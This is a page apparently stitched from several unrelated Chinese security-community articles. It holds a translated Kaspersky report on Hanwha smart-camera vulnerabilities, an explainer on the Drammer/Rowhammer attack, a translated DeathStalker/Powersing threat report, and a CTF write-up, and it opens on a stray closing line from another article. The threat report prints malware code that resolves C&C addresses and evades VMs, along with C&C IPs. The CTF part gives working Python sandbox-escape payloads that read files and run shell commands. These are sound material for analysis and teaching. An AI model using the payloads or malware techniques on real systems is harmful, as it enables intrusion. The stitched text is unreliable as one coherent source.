好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 漏洞分析：韩国韩华智能摄像头存在多处高危漏洞
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/somebodys-watching-when-cameras-are-more-than-just-smart/84309/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
随着科技的不断发展，智能设备的数量也在逐年增长。咖啡机、手环、冰箱、汽车等一系列日常实用的工具正不断变得“智能”起来。除此之外，我们还可以看到智慧街道、智慧道路，甚至是智慧城市的出现。
对于许多人来说，智能摄像头等设备一直都是日常生活中的一部分，大家借助智能摄像头作为聊天设备、安全设备和视频监控系统中的设备，或者用来时刻关注自家的宠物。
现在，很多新型的智能摄像头都可以连接到云端，从而让客户能够使用各种设备来远程观看。
由于智能摄像头的日益普及，其安全性也变得越来越重要。卡巴斯基实验室ICS
CERT的研究人员对目前流行的智能摄像头进行了一次研究，并试图找出如何防范联网摄像头被滥用的解决方案。本次研究中所涉及的摄像头，不同于普通网络摄像头，它们都具有丰富的功能，可用作婴儿监视器、家庭安全系统组建或是监控系统中的一部分。
借助于对已知来源的初步分析，我们发现在互联网上的这些摄像头中，有近2000个具有公共IP地址。
## Hanwha SNH-V6410PN/PNW智能摄像头
该设备能够以1920×1080、1280×720或640×360的分辨率捕捉视频，具有夜视能力，内置运动传感器，并支持双向通信。举例来说，除了捕捉视频和声音之外，该摄像头还可以使用内置的扬声器播放声音。该摄像头借助于云服务工作，它并不会直接与用户的计算机等设备相连接。如果要对摄像头进行配置，那么需要在摄像头上创建一个无线热点，并将该热点连接到主路由器（Wi-Fii）上。用户可以使用他们的智能手机、平板电脑或电脑来控制摄像头。需要特别说明的是，摄像头的数据只能上传到云端，用户和摄像头之间没有其他的通信方式。
该摄像头基于Ambarella
S2L系统（ARM架构），其初始加载器为Amboot。在经过标准引导过程后，Amboot使用特定的命令作为参数加载Linux内核：
console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc model=SNH-V6410PN ethaddr=************ sn=ZC7D6V2H*********
s=c
随后systemd启动，之后系统正常启动，将会挂载不同分区，并执行rc.local中的命令。在执行rc.local时，文件mainServer会以守护进程模式启动，该模式是摄像头控制逻辑的核心所在。mainServer会执行经UNIX套接字/tmp/ipc_path通过二进制协议发送给它的命令。一些以PHP语言编写的CGI脚本用于处理用户文件。在启动时，mainServer会打开UNIX套接字/ipc_path。我们对PHP脚本进行了分析，结果表明，负责与mainServer通信的主要函数是在/work/www/htdocs_weboff/utils/ipc_manager.php之中。
## 与用户的通信
当接收到来自用户的命令（例如旋转摄像头、选择追踪区域、切换到夜视模式）时，就会对其进行分析。针对每个命令或参数，都有相应的标志分配给它们，该标志是一个常量。主标志被记录在/work/www/htdocs_weboff/utils/constant.php中。随后，将会创建数据包头部和有效载荷，并通过UNIX套接字/tmp/ipc_path将请求发送到mainServer。
通过对文件ipc_manager.php的分析，我们发现在这个阶段没有使用认证。该请求是以用户“admin”的名义发送的。
function makeHeader($cmd, $act, $type, $len){
$header = array();
$header = array_fill(0, 77, 0x00);
$header[HEADER_OFF_MAGIC_NUMBER] = 0xFE;
$header[HEADER_OFF_MAGIC_NUMBER+1] = 0xFF;
$header[HEADER_OFF_MAGIC_NUMBER+2] = 0xFE;
$header[HEADER_OFF_MAGIC_NUMBER+3] = 0xFF;
$header[HEADER_OFF_MAJOR_VERSION] = MAJOR_VERSION; //Major Version
$header[HEADER_OFF_MINOR_VERSION] = MINOR_VERSION; //Minor Version
int2byte($header, $cmd, HEADER_OFF_COMMAND); //Command
$header[HEADER_OFF_ACTION] = $act; //Action
$header[HEADER_OFF_MSG_TYPE] = $type; //Type
$header[HEADER_OFF_ERROR_CODE] = 0xFF; //Error Code
int2byte($header, $len, HEADER_OFF_MSG_LENGTH); //Length
str2byte($header, “127.0.0.1“, HEADER_OFF_PEER_IP, 40); //Peer IP[40]
int2byte($header, 80, HEADER_OFF_PEER_PORT); //Peer Port
str2byte($header, “admin“, HEADER_OFF_PEER_ACCOUNT, 16); //Peer Account[16] – Current user name
$header = array_merge($header, array_fill(0, 8, 0xFF)); //Reserved[8]
return $header;
}
摄像头通过HTTP
API和SmartCam应用程序进行通信时，会使用此通信命令中的方法。当使用SmartCam应用程序时，数据包会在应用程序之中生成，将通信内容放在消息体中，使用XMPP协议发送。当通过HTTP
API和SmartCam应用程序从外部访问该文件时，只能通过Web服务器摘要认证访问该文件。
## 入侵者可以利用的漏洞
在研究中，我们发现了如下漏洞：
1. 固件更新期间，使用了不安全的HTTP协议；
2. 在通过HTTP API进行摄像头交互时，使用了不安全的HTTP协议；
3. 可通过文件“dnpqtjqltm”实现Web界面切换的未公开（隐藏）功能；
4. “dnpqtjqltm”文件切换Web界面过程缓冲区溢出；
5. 具有root特权的远程命令执行漏洞；
6. 远程更改管理员密码漏洞；
7. SmartCam拒绝服务漏洞；
8. 摄像头的管理员账户密码存在暴力破解风险；
9. 在服务器xmpp.samsungsmartcam.com上注册摄像头时未进行严格密码强度检查，从而导致SmartCam应用程序用户易受攻击；
10. 可通过云服务器与其他摄像头进行通信；
11. 可在云服务器上拒绝新摄像头注册；
12. 可绕过SmartCam验证更改管理员密码或远程执行命令；
13. 可恢复SmartCam云账户的摄像头密码。
通过深入研究，我们确定这些问题不仅仅存在于我们此次研究的摄像头之中，并且还存在于Hanwha
Techwin所生产的所有智能摄像头中，而该公司还为三星的摄像头提供固件。
接下来，我们详细介绍后续的研究发现。
## 未公开的功能
如上所述，我们发现了一个未公开的功能，可以使用摄像头的Web界面进行操作。
有趣的是，我们还在这个Web界面中发现了一个缓冲区溢出漏洞。在发现后，我们及时向制造商报告了该问题，目前该问题已经修复。
## 云服务器结构中的漏洞
在云服务器的体系结构中，我们还发现了另外一个高危的漏洞。由于在架构设计上出现了一些问题，导致入侵者可以通过云端访问所有摄像头并对其进行控制。
其中，主要问题在于它是基于XMPP协议。实质上，整个Hanwha智能摄像头云平台是一个Jabber服务器。在该服务器上，有所谓的房间（Rooms），每一个房间代表着一种类型的摄像头。攻击者可以在Jabber服务器上注册一个任意账户，并访问该服务器上的所有房间。
下图为使用XMPP协议发送消息，创建一个测试帐户：
下图为上述消息解码后的内容：
在与云平台进行通信的过程中，摄像头会发送用户的凭证和一组常量。我们分析了发送的数据，发现凭借该数据，远程攻击者可以在云平台中对尚未注册的现有摄像头进行注册。而一旦攻击者进行了注册，实际拥有者就不能再在云中注册。此外，攻击者可以以任意摄像头的名义与云平台进行通信，也可以通过云平台控制任意摄像头。
## 攻击场景
其中，一个有趣的攻击维度是对摄像头中设置的指定DNS服务器地址进行欺骗攻击（Spoofing）。该攻击被证明是可行的，因为更新服务器被指定为摄像头配置文件中的URL地址。即使摄像头没有全局IP地址并位于NAT子网中，我们也可以实施此类攻击。该攻击是利用Hanwha
SmartServer云架构的特性和其中存在的漏洞来实现的。此类攻击可能导致经过修改的固件被推送到存在未公开功能的摄像头之中。因此，摄像头就可以作为攻击本地（NAT子网中）或全局网络中设备的一个攻击源。
另一个攻击场景是，我们可以克隆任意摄像头，并伪造其图像信号展现给最终用户。为了实现这一目的，入侵者需要在摄像头与云平台的交互过程中找到目标摄像头的型号、序列号和MAC地址。随后，攻击者可以借助密码生成算法中的漏洞来重置密码，并修改克隆摄像头（攻击者所拥有的相同摄像头）的固件。随后，受害者的摄像头被远程禁用，受害者将会受到来自攻击者克隆的相机的视频信号。
此外，还有其他攻击场景。用户可以使用摄像头向不同的社交媒体和在线服务（如Twitter、Gmail、YouTube等）指定他们的凭据。该功能用于将摄像头捕获到的各种事件发送给用户。攻击者可以利用这一功能，进行网络钓鱼活动或发送垃圾邮件。
## 总结
经过我们的研究，发现攻击者可以利用智能摄像头实现多种攻击。
举例来说，攻击者可以远程修改管理员的密码、在摄像头上执行任意代码、访问摄像头云平台并对其进行控制，或者构建一个易受攻击的摄像机僵尸网络。攻击者可以访问任意的SmartCam以及任何Hanwha智能摄像头。
对于普通用户来说，远程攻击者可以看到摄像头所拍到的画面、将语音消息发送到摄像头的内置扬声器播放、使用摄像头的硬件资源进行加密货币挖掘等。此外，远程攻击者还可以将摄像头停用，从而导致用户要花费一定的时间对其进行恢复。
在发现漏洞的第一时间，我们就向制造商报告了上述内容。截至目前，一些漏洞已经进行修复。根据制造商的反馈，其他漏洞很快就会被完全修复。
已修复的漏洞被分配了如下CVE编号：
CVE-2018-6294
CVE-2018-6295
CVE-2018-6296
CVE-2018-6297
CVE-2018-6298
CVE-2018-6299
CVE-2018-6300
CVE-2018-6301
CVE-2018-6302
CVE-2018-6303 | 社区文章 |
大家肯定知道前几天刚爆出来一个linux内核（Android也用的linux内核）的dirtycow漏洞。此洞可以说是个神洞，通过dirtycow，一个普通权限的app可以做到root权限的文件任意写，随后还可以转化为android上的通用root。就在大家纷纷埋头研究dirtycow的时候，Drammer横空出世，号称也可以root最新版的Android
6.0.1，同时还放出了CCS论文（<https://vvdveen.com/publications/drammer.pdf）和POC（https://github.com/vusec/drammer）。>
那么这个Drammer到底是什么东西呢？
Drammer可以说是一种针对android设备的攻击方式，利用的是内存芯片设计上的一个缺陷。然而，这个问题并不是只出现在Android系统上，而是所有使用内存的系统都会出现这个问题。最早提出这种攻击方式的人是卡内基梅隆大学的Yoongu
Kim写的一篇paper -《Flipping Bits in Memory Without Accessing Them: An Experimental
Study of DRAM Disturbance
Errors》（<https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf）在这篇文章中，作者提到有个有趣的现象，如果不断的访问两个具有"侵略者"性质的虚拟地址会让一个具有"受害者"性质的内存数据进行位翻转，更神奇的是这个具有"受害者"性质的内存可能会在当前进程可访问的虚拟地址以外。>
为什么会有这种现象呢？
原因是内存厂商为了能让内存芯片存储更多的数据，于是将内存中的DRAM（The Dynamic Random Access
Memory）cell越做越小并且离的越来越近，从而导致相邻的cell在通电的过程中会受到影响。因此，如果我们不断的访问某个位置上的内存，就可能会造成相邻的内存进行位翻转。随后google
project
zero还通过PC上的linux提权，证明了这种现象的确存在并且可以用来进行攻击（<https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html）并将这种攻击方式称为RowHammer。因此，这次出现的drammer是受之前研究的启发，从而实现了Android上的rowhammer攻击，所以drammer全称其实是DRoid>
and
rowhAMMER。
在Android上，整个攻击的基本思路是：
1. 先找到用户态可以flush内存的api，比如Android上的ION。
2. 然后利用这个api配合上FLIP FENG SHUI技术进行rowhammer攻击。目的是位翻转Page Table Entry (PTE)并让其指向一个攻击者可以控制的内存上。
3. 修改PTE从而控制整个物理内存。配合其他漏洞还可以做到远程攻击（DEMO：<https://www.vusec.net/projects/drammer/）。
原来硬件上设计的缺陷还会出现这种问题，是不是感觉脑洞已经快要爆炸了。并且这次的攻击与操作系统和软件无关，纯粹是硬件上的漏洞导致的。因此，不光是linux和Android，Windows,
OS X和iOS应该也是受影响的。唉，May god bless all electronic devices.
作者：蒸米@阿里移动安全，更多Android、iOS技术文章，请访问阿里聚安全博客 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：[https://securelist.com/](https://securelist.com/deathstalker-mercenary-triumvirate/98177/ "https://securelist.com/")**
国家赞助的威胁者和复杂的攻击经常成为人们关注的焦点。确实，他们的创新技术，先进的恶意软件平台和
0day漏洞利用链吸引了我们的想象力。但是，在大多数公司中，这些群体仍然不太可能成为风险模型的一部分，也不应该成为风险模型的一部分。当今的企业面临着更多直接的威胁，从勒索软件和客户信息泄漏到从事不道德商业行为的竞争对手。在文章中，我们将重点关注DeathStalker：这是一个独特的威胁组，似乎针对律师事务所和金融部门的公司（尽管我们偶尔在其他垂直行业也看到过）。据我们所知，他们不受经济利益的驱使。他们不部署勒索软件，不窃取付款信息并转售，或从事与网络犯罪黑社会相关的任何类型的活动。他们对收集敏感的业务信息感兴趣，这使我们相信DeathStalker是一群雇佣兵，他们提供黑客出租服务，或在金融界充当某种信息经纪人的角色。
DeathStalker首先通过[Powersing](https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html)的基于PowerShell的植入程序引起了我们的注意。通过分解该线程，我们可以确定可追溯到2018年甚至2012年的活动。但是，在深入探究DeathStalker的历史之前，我们将从一些背景开始，以下先介绍威胁者的武器库。
## Powersing工具链
### 总览
威胁行动者的最新操作依赖于相同的入侵媒介：带有包含恶意LNK文件的附加存档的鱼叉式网络钓鱼电子邮件。
[
尽管看起来像来自Explorer或流行的归档提取产品的文档，但是这些快捷方式仍指向cmd.exe。这些快捷方式文件具有以下结构：
[
单击它们将启动一个复杂的序列，导致在受害者的计算机上执行任意代码。通过cmd.exe的参数传递的简短PowerShell脚本引导了以下链：
[
* 阶段0的作用是提取并执行链中的下一个元素，以及嵌入到LNK文件中以显示给用户的诱饵文档。这会产生单击真实文档的错觉，并确保受害者不会变得可疑。
* 第1阶段是一个PowerShell脚本，其中包含C＃程序集，该程序集旨在连接到Dead Drop解析器（在下一段中对此有更多介绍），并通过从快捷方式中提取“ DLL”文件来获取用于解码链的最后阶段的加密材料。以固定的偏移量定位Base64编码的URL列表。通过在Windows启动文件夹中创建指向VBE启动脚本的快捷方式（使用拖放的图标），可以建立持久性。
* 最后，在第2阶段，实际的恶意软件植入程序用于控制受害者的机器。它连接到一个死点解析器之一，以获取真实C＆C服务器的地址，并进入一个循环，每隔几秒钟查找一次订单。
* 系统重新启动后，将自动执行VBE启动脚本（与阶段0极为相似），再次引导至Powersing阶段2。
与C＆C服务器的通信涉及JSON编码对象的交换。Powersing只有两个任务：
* 捕获受害者机器上的定期屏幕截图，并立即发送到C＆C服务器（两个内置命令允许更改屏幕截图的质量和周期性）
* 执行C＆C提供的任意Powershell脚本
在第1阶段和第2阶段，在我们分析过的不同样本中，安全软件规避行为的变化很大。根据在计算机上检测到的AV，Powersing可能会选择其他持久性方法，甚至完全停止运行。我们怀疑此工具集背后的小组在每个活动之前都进行了检测测试，并根据结果更新了脚本。这表明了软件设计的一种迭代且快节奏的方法。值得指出的是，阶段2会在计算机上主动查找虚拟化痕迹（例如，特定于供应商的MAC地址）和恶意软件分析工具，并将此信息报告给C＆C服务器。
总结本节，我们想提到Powersing不是一个整体的恶意软件平台。相反，它是受害者网络内部的隐性立足点，其关键作用是能够投射出更多工具。
### 死角解析器
DeathStalkers工具链利用大量公共服务作为死点解析器。这些服务为攻击者提供了一种通过公开帖子，评论，用户个人资料，内容描述等将数据存储在固定URL上的方式。攻击者留下的消息遵循以下模式：“我的键盘不起作用…[字符串]。
” 和“嘿兄弟我唱[64编码的字符串]，是的”。
[
在调查该威胁因素的过程中，我们发现了以下消息：
* Google+
* Imgur
* Reddit
* ShockChan
* Tumblr
* 推特
* YouTube
* WordPress
该列表很可能并不详尽。通过简单的Google查询可以发现许多此类消息。Powersing的首要业务是连接到它知道的任何死点解析器以检索此信息。阶段1使用这些消息的第一个字符串，其中包含用于解码阶段2的AES密钥。然后，阶段2连接到死点解析器，以获取在第二个字符串中编码的整数。如下代码摘录所示，该整数在被转换为IP地址之前，会被任意常数（随样本而变化）除以：
public string LongToIP(string long_ip_string)
{
long longIP;
long.TryParse(long_ip_string, out longIP);
longIP = longIP / 25835; // NB: divide integer by an arbitrary constant
string ip = string.Empty;
for (int i = 0; i < 4; i++)
{
int num = (int)(longIP / Math.Pow(256, (3 - i)));
longIP = longIP - (long)(num * Math.Pow(256, (3 - i)));
if (i == 0)
ip = num.ToString();
else
ip = ip + "." + num.ToString();
}
return ip;
}
该IP地址然后存储在用户的硬盘驱动器上，并用于建立与实际C＆C服务器的连接，操作员使用该IP地址来控制Powersing。依靠知名的公共服务，网络犯罪分子可以将最初的后门通信混入合法的网络流量中。这也限制了安全工作者可以采取哪些行动来阻碍其运作，因为这些平台通常无法在公司级别上被列入黑名单，而从中删除内容可能是一个艰巨而漫长的过程。但是，这是有代价的：互联网永远不会忘记，网络罪犯也很难清除其运行痕迹。借助搜索引擎索引或存档的数据，我们估计Powersing于2017年8月左右首次使用。
我们要提及的最后一个细节是，我们发现的许多Powersing C＆C具有SSL证书，让人联想到索菲斯臭名昭著的[筷子C＆C“
IT部门”](https://threatconnect.com/blog/using-fancy-bear-ssl-certificate-information-to-identify-their-infrastructure/)证书。我们相信此基础架构与索非西（Sofacy）没有关联，并且相信这是威胁行为者试图使防御者得出错误结论的尝试。
## DeathStalker链接到已知团体
### 亚尼察卜
Sec0wn在原始博客中介绍Powersing暗示了与名为Janicab的恶意软件家族的可能链接，该家族的较早样本可追溯到2012年。但是，据我们所知，这种连接从未公开进行过探索。最终，我们在Janicab
[的2015年博客文章](https://archive.f-secure.com/weblog/archives/00002803.html)（1fe4c500c9f0f7630a6037e2de6580e9）中获得了F-Secure列出的恶意软件样本之一，以寻找相似之处。
该文件是指向cmd.exe的另一个LNK，它在单击时会在系统上删除VBE脚本以及诱饵文档。该脚本和未列出的YouTube视频建立连接，以获得嵌入在说明中的C＆C信息：
[
然后，将在此页面上获得的整数除以常量，然后再转换为IP地址：
Set objRE = New RegExp
With objRE
.Pattern = "our (.*)th psy anniversary"
.IgnoreCase = True
End With
Set objMatch = objRE.Execute( outputHTML )
If objMatch.Count = 1 Then
server = ""
server = objMatch.Item(0).Submatches(0)
server = server / 31337 'NB: divide integer by an arbitrary constant
'msgbox(server)
server = IPConvert(server)
server = "http://" & server & "/wp-admin-content"
End If
虽然仅将YouTube用作死点解析器并不足以在两组之间建立链接，但我们认为，在线获取某个整数并将其分割后再将其解释为IP地址之前，该过程十分独特。
Janicab的功能也让我们想起了Powersing的功能：该示例包含基于计算机MAC地址的VM检测，寻找恶意软件分析程序以及熟悉的防病毒软件规避例程。Janicab还定期将受害者桌面的屏幕截图发送给C＆C，并似乎可以执行任意Python脚本。
Janicab的最新版本（85ed6ab8f60087e80ab3ff87c15b1174）使人想起网络流量的Powersing，尤其是当恶意软件向其C＆C服务器注册时：
为注册请求Powersing（POST数据） | Janicab注册请求
---|---
`{“un”: “[username]”,“cn”: “[computer name]”,“av”: “[installed AV
program]”,“dob”: “[OS installation date]”,“os”: “[OS version]”,“ou”:
“[campaign identifier]”,“dc”: “[version]”}` | `GET
/gid.php?action=add&cn=[computer name]&un=[username]&v=[version]&av=[installed
AV program]&an=[campaign identifier]`
此外，此样本包含的黑名单VM MAC地址列表与本文前面介绍的Powersing样本完全相同，顺序相同。
Powersing列入黑名单的MAC地址 | Janicab的黑名单MAC地址
---|---
virtual_mac_prefix.Add（“ 00015D”）; | macs（ **0** ）=“ 00-01-5D”
virtual_mac_prefix.Add（“ 0003BA”）; | macs（ **1** ）=“ 00-03-BA”
virtual_mac_prefix.Add（“ 000782”）; | macs（ **2** ）=“ 00-07-82”
virtual_mac_prefix.Add（“ 000F4B”）; | macs（ **3** ）=“ 00-0F-4B”
virtual_mac_prefix.Add（“ 00104F”）; | macs（ **4** ）=“ 00-10-4F”
virtual_mac_prefix.Add（“ 0010E0”）; | macs（ **5** ）=“ 00-10-E0”
virtual_mac_prefix.Add（“ 00144F”）; | macs（ **6** ）=“ 00-14-4F”
virtual_mac_prefix.Add（“ 0020F2”）; | macs（ **7** ）=“ 00-20-F2”
virtual_mac_prefix.Add（“ 002128”）; | macs（ **8** ）=“ 00-21-28”
virtual_mac_prefix.Add（“ 0021F6”）; | macs（ **9** ）=“ 00-21-F6”
virtual_mac_prefix.Add（“ 005056”）; | macs（ **10** ）=“ 00-50-56”
virtual_mac_prefix.Add（“ 000C29”）; | macs（ **11** ）=“ 00-0C-29”
virtual_mac_prefix.Add（“ 000569”）; | macs（ **12** ）=“ 00-05-69”
virtual_mac_prefix.Add（“ 0003FF”）; | macs（ **13** ）=“ 00-03-FF”
virtual_mac_prefix.Add（“ 001C42”）; | macs（ **14** ）=“ 00-1C-42”
virtual_mac_prefix.Add（“ 00163E”）; | macs（ **15** ）=“ 00-16-3E”
virtual_mac_prefix.Add（“ 080027”）; | macs（ **16** ）=“ 08-00-27”
virtual_mac_prefix.Add（“ 001C14”）; | macs（ **17** ）=“ 00-1C-14”
virtual_mac_prefix.Add（“ 080020”）; | macs（ **18** ）=“ 08-00-20”
virtual_mac_prefix.Add（“ 000D3A”）; | macs（ **19** ）=“ 00-0D-3A”
virtual_mac_prefix.Add（“ 00125A”）; | macs（ **20** ）=“ 00-12-5A”
virtual_mac_prefix.Add（“ 00155D”）; | macs（ **21** ）=“ 00-15-5D”
virtual_mac_prefix.Add（“ 0017FA”）; | macs（ **22** ）=“ 00-17-FA”
virtual_mac_prefix.Add（“ 001DD8”）; | macs（ **23** ）=“ 00-1D-D8”
virtual_mac_prefix.Add（“ 002248”）; | macs（ **24** ）=“ 00-22-48”
virtual_mac_prefix.Add（“ 0025AE”）; | macs（ **25** ）=“ 00-25-AE”
virtual_mac_prefix.Add（“ 0050C2”）; | macs（ **26** ）=“ 00-50-C2”
virtual_mac_prefix.Add（“ 0050F2”）; | macs（ **27** ）=“ 00-50-F2”
virtual_mac_prefix.Add（“ 444553”）; | macs（ **28** ）=“ 44-45-53”
virtual_mac_prefix.Add（“ 7CED8D”）; | macs（ **29** ）=“ 7C-ED-8D”
### 恶魔 Evilnum
另一个值得研究的可能关系与最近的Evilnum恶意软件家族有关，该家族是ESET去年7月[发表](https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/)的深入[博客文章](https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/)的主题，以及我们自己的一些私人报告。ESET的帖子详细介绍了另一个基于LNK的感染链，该链导致了基于Javascript的恶意软件的执行。再次，我们获得了一个旧的Evilnum示例（219dedb53da6b1dce0d6c071af59b45c），并观察到它还从死点解析器（GitHub）获取了C＆C信息，从而获得了使用以下代码转换的IP地址：
function extract_srvaddr() {
serverFound = false;
pattern = 'our news start at (.*) thank you';
while(serverFound == false) {
var item = items[Math.floor(Math.random()*items.length)];
var html = get_page_content_with_ie(item,'');
if(html != '') {
var match = extract_string(pattern, html);
if(match != null) {
srv = num2dot(match[1]/666); // NB: divide integer by a constant
srv = srv + "/Validate";
srv_stat = get_page_content_with_ie(srv+"/ValSrv", '');
validate_str = extract_string('youwillnotfindthisanywhare', srv_stat);
if(validate_str == 'youwillnotfindthisanywhare') {
serverFound = true;
return srv;
}
}
}
}
我们不禁注意到使用正则表达式来查找特定字符串以获取整数，然后将该整数除以常量得到C＆C服务器IP地址的模式。尽管Evilnum提供了比Powersing更多的功能，但它也可以捕获屏幕截图并将其发送到C＆C服务器。
在受害者方面，Evilnum专注于金融科技领域的公司。它似乎对商业智能比对财务收益更感兴趣。这与到目前为止我们观察到的DeathStalker活动一致。
我们要提到的最后一个联系是，尽管以不同的语言编写，但最近的Evilnum（835d94b0490831da27d9bf4e9f4b429c）和Janicab示例有一些轻微的代码重叠：
* 在执行等效任务的函数中使用具有相似名称的变量（对于Janicab是“ ieWatchdogFilename”，对于Evilnum是“ ieWatchdogPath”）
* 用于清除的两个函数具有相同的名称：“ deleteLeftOvers”
我们认为这些名称足够独特，可以在两个恶意软件家族之间创建一个附加链接。不太确定的是，此Evilnum示例还包含一个名为“
long2ip”的函数，用于将整数转换为IP地址，而Powersing包含一个以“ LongToIP”命名的类似实现。
### 摘要
Powersing，Janicab和Evilnum是三个基于脚本语言的工具链，它们具有以下相似之处：
* 所有这三个都是通过鱼叉式网络钓鱼提供的存档中包含的LNK文件分发的
* 他们使用正则表达式和硬编码语句从死点解析器获取C＆C信息
* IP地址以整数形式获得，然后在转换之前将其除以硬编码常量
* 三个恶意软件系列之间的代码重叠很少，可能表明它们是由同一团队或在共享软件开发实践的小组内部开发的
* 这三个恶意软件家族均具有截图捕获功能。尽管本身并不是原创，但这通常不是此类小组开发优先级的一部分，并且可能表示共享的设计规范
* 最后，尽管我们没有太多有关Janicab受害者的信息，但Powersing和Evilnum都在追求商业智能，尽管它们来自不同的行业领域。两组活动均与雇佣军进行的假设相符
尽管这些观点本身不足以得出结论，但我们认为它们一起使我们能够中等信心地评估 **Powersing，Evilnum和Janicab是由同一集团运营**
。我们目前无法透露的行业合作伙伴与我们共享的其他数据也支持这一结论。
## 攻击对象
DeathStalker主要针对金融部门的私人实体，包括律师事务所，财富咨询公司，金融技术公司等。在一个独特的实例中，我们还观察到DeathStalker攻击一个外交实体。
[
我们已经能够确定在阿根廷，中国，塞浦路斯，以色列，黎巴嫩，瑞士，台湾，土耳其，英国和阿拉伯联合酋长国与Powersing相关的活动。我们还在塞浦路斯，印度，黎巴嫩，俄罗斯和阿拉伯联合酋长国安置了Evilnum受害者。
但是，我们认为DeathStalkers纯粹是根据他们的感知价值或可能根据客户要求来选择目标。在这种情况下，我们评估了金融部门中的任何公司，无论其地理位置如何，都能引起DeathStalker的注意。
## 结论
在此博客文章中，我们介绍了新式感染链，该链如今仍被威胁者积极使用和开发者。它不包含任何创新技巧或复杂方法，并且链中的某些组件实际上可能看起来并不必要。但是，如果有关同一个集团运营Janicab和Powersing的假设是正确的，则表明他们自2012年以来就一直在利用相同的方法。在信息安全领域，没有比这更“真实”的了。
基于这些工具链显示的有限的技术手段，我们认为它们是小型组甚至熟练的个人可以创造的典范。我们在公开发布有关DeathStalker的信息时看到的价值在于，使这一威胁参与者成为私营部门能防御的基线。像DeathStalker这样的组织代表着当今大多数公司面临的网络威胁类型，而不仅仅是国家资助的APT。由于其正在进行的运营（DeathStalker自2020年3月以来特别利用Janabb和Powersing植入物利用COVID-19进行部署）以及自2018年以来的持续活动，我们相信DeathStalker仍在开发其工具集，并且我们将不久的将来有更多报告。
我们建议防御者密切注意与脚本语言（例如powershell.exe和cscript.exe）的Windows解释器有关的任何过程创建。这些实用程序应尽可能不用。我们还建议未来的意识培训和安全产品评估包括基于LNK文件的感染链。
## IOC
|
---|---
D330F1945A39CEB78B716C21B6BE5D82 | Malicious LNK
D83F933B2A6C307E17438749EDA29F02 | Malicious LNK
540BC05130424301A8F0543E0240DF1D | Malicious LNK
3B359A0E279C4E8C5B781E0518320B46 | Malicious LNK
6F965640BC609F9C5B7FEA181A2A83CA | Malicious LNK
E1718289718792651FA401C945C17079 | Malicious LNK
F558E216CD3FB6C23696240A8C6306AC | Malicious LNK
B38D1C18CBCCDDDBF56FDD28E5E6ECBB | Loader Script
E132C596857892AC41249B90EA6934C1 | PowerSing Stage 1
9A0F56CDACCE40D7039923551EAB241B | PowerSing Stage 1
0CEBEB05362C0A5665E7320431CD115A | PowerSing Stage 1
C5416D454C4A2926CA6128E895224981 | PowerSing Stage 1
DBD966532772DC518D818A3AB6830DA9 | PowerSing Stage 1
B7BBA5E70DC7362AA00910443FB6CD58 | PowerSing Stage 1
2BE3E8024D5DD4EB9F7ED45E4393992D | PowerSing Stage 1
83D5A68BE66A66A5AB27E309D6D6ECD1 | PowerSing Stage 1
50D763EFC1BE165B7DB3AB5D00FFACD8 | PowerSing Stage 1
**C &C servers** |
---|---
54.38.192.174
[（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=54.38.192.174
"（ZoomEye搜索结果）") | Powersing C&C
91.229.76.17
[（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=91.229.76.17
"（ZoomEye搜索结果）") | Powersing C&C
91.229.76.153 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
91.229.76.153 "（ZoomEye搜索结果）") | Powersing C&C
91.229.77.240 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
91.229.77.240 "（ZoomEye搜索结果）") | Powersing C&C
91.229.77.120 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
91.229.77.120 "（ZoomEye搜索结果）") | Powersing C&C
91.229.79.120 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
91.229.79.120 "（ZoomEye搜索结果）") | Powersing C&C
54.38.192.174 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
54.38.192.174 "（ZoomEye搜索结果）") | Powersing C&C
105.104.10.115 [（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=
105.104.10.115 "（ZoomEye搜索结果）") | Powersing C&C
* * * | 社区文章 |
本次比赛主要由红日安全ctf小组奋力拼搏，才可以拿到第二场第四的成绩。感谢他们的付出，才可以让我们看到精彩的wp。
## 1\. 签到题
## 2\. 虚幻
题目提示汉信码。使用 binwalk 提取出 9 张图，拼接成如下
用 stegsolve 取 R7 保存并取反色
补上汉信码的 4 个角，扫描即可获得 flag
## 3.calc
题目如下，这是一个计算器，可以执行一些简单的算式。题目提示正则有问题，所以正则应该是可以绕过的。
我们先看看服务器端使用的是什么语言，简单测试发现是 **python web** ，就考虑是否存在 **SSTI** ，绕过正则执行 **python**
代码。
我们先来分析一下正则表达式： **^[0-9.]+\s*[*+-/]\s*[0-9.]+** 。这个正则存在多个问题：
* 第一个地方： **[*+-/]**
实际上短杆 **-** 在方括号中有特殊的含义，表示范围。 **[*+-/]** 这个正则实际上包含了以下字符：
* 第二个地方：
正则表达式末尾的加号 **+** 并不严谨，严谨的写法应该在加号后面添加一个 **$** 符号，表示输入的字符串以数字结尾，变成这样
**^[0-9.]+\s*[*+-/]\s*[0-9.]+$**
使用 **payload** 如下：（百度python沙箱逃逸，第一个文章中就有payload）
1+1,().__class__.__bases__[0].__subclasses__()[40]('/flag').read()
查看源码
1+1,().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('fun'+'c_glo'+'bal'+'s')['lin'+'eca'+'che'].__dict__['o'+'s'].__dict__['po'+'pen']('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py').read()
这里猜测一下后台代码的执行过程：
* 先用正则对用户的输入进行匹配
